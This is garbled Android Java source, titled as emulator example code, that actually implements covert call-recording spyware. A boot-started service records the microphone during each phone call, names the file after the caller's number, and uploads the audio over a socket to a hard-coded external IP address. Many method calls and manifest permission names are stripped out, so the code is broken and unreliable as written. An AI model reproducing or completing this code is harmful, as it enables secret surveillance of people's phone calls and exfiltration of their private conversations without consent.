Android phone emulator (example code)

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public class PhoneListenService extends Service {
 private static final String TAG = "PhoneListenService";

 @Override
 public void onCreate() {
  TelephonyManager telManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  (new TelListener(), PhoneStateListener.LISTEN_CALL_STATE);
  (TAG, "service created");
  
  ();
 }
 
 @Override
public void onDestroy() {//Clear all files in the cache directory
  File[] files = getCacheDir().listFiles();
  if(files!=null){
   for(File f: files){
    ();
   }
  }
  (TAG, "service destroy");
  ();
 }

 private class TelListener extends PhoneStateListener{
  private MediaRecorder recorder;
  private String mobile;
  private File audioFile;
  private boolean record;
  @Override
  public void onCallStateChanged(int state, String incomingNumber) {
   try {
    switch (state){
case TelephonyManager.CALL_STATE_IDLE: /* When there is no status */
     if(record){
();//Stop burning
      ();
      record = false;
      new Thread(new UploadTask()).start();
      (TAG, "start upload file");
     }
     break;
     
case TelephonyManager.CALL_STATE_OFFHOOK: /* When you pick up the phone */
      (TAG, "OFFHOOK:"+ mobile);
      recorder = new MediaRecorder();
();//Collection of sound from the microphone (for the time being, only the sound signal of the microphone, no signal of the receiver - only the person can speak, no hearing what the other party says)
(.THREE_GPP);//Content output format
(.AMR_NB);//Audio encoding method
     
      audioFile = new File(getCacheDir(), mobile+"_"+ ()+".3gp");
      (());
();//Expected preparation
();    //Start burning
      record = true;
      break; 
     
case TelephonyManager.CALL_STATE_RINGING: /* When the phone comes in */
     (TAG, "incomingNumber:"+ incomingNumber);
     mobile = incomingNumber;
     break;
     
    default:
     break;
    }
   } catch (Exception e) {
    (TAG, ());
   }
   (state, incomingNumber);
  }
  
  private final class UploadTask implements Runnable{
   @Override
   public void run() {
    try {
     Socket socket = new Socket("220.113.15.71", 7878);
              OutputStream outStream = ();
              String head = "Content-Length="+ () + ";filename="+ () + ";sourceid=\r\n";
              (());
             
              PushbackInputStream inStream = new PushbackInputStream(()); 
     String response = (inStream);
              String[] items = (";");
     String position = items[1].substring(items[1].indexOf("=")+1);
     
     RandomAccessFile fileOutStream = new RandomAccessFile(audioFile, "r");
     ((position));
     byte[] buffer = new byte[1024];
     int len = -1;
   }
  }
 }
 
 @Override
 public IBinder onBind(Intent intent) {
  // TODO Auto-generated method stub
  return null;
 }

}

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public class BootBroadcastReceiver extends BroadcastReceiver {

 @Override
 public void onReceive(Context context, Intent intent) {
//Android starts broadcasting, starts the phone service after booting
  Intent service = new Intent(context, );
  (service);
 }

}

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:andro
      package=""
      android:versionCode="1"
      android:versionName="1.0">
    <application android:icon="@drawable/icon" android:label="@string/app_name">
  <service android:name=".PhoneListenService" />
  <receiver android:name=".BootBroadcastReceiver">
   <intent-filter>
          <action android:name=".BOOT_COMPLETED"/>
        </intent-filter>
  </receiver>
    </application>
    <uses-sdk android:minSdkVersion="7" />
 <uses-permission android:name=".RECORD_AUDIO"/>
<!-- Permissions to access the network -->
<uses-permission android:name=""/>
<uses-permission android:name=".READ_PHONE_STATE"/>
<uses-permission android:name=".RECEIVE_BOOT_COMPLETED"/>

</manifest>

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public class StreamTool {
 
  public static void save(File file, byte[] data) throws Exception {
   FileOutputStream outStream = new FileOutputStream(file);
   (data);
   ();
  }
 
  public static String readLine(PushbackInputStream in) throws IOException {
   char buf[] = new char[128];
   int room = ;
   int offset = 0;
   int c;
loop:  while (true) {
    switch (c = ()) {
     case -1:
     case '\n':
      break loop;
     case '\r':
      int c2 = ();
      if ((c2 != '\n') && (c2 != -1)) (c2);
      break loop;
     default:
      if (--room < 0) {
       char[] lineBuffer = buf;
       buf = new char[offset + 128];
          room = - offset - 1;
          (lineBuffer, 0, buf, 0, offset);
        
      }
      buf[offset++] = (char) c;
      break;
    }
   }
   if ((c == -1) && (offset == 0)) return null;
   return (buf, 0, offset);
 }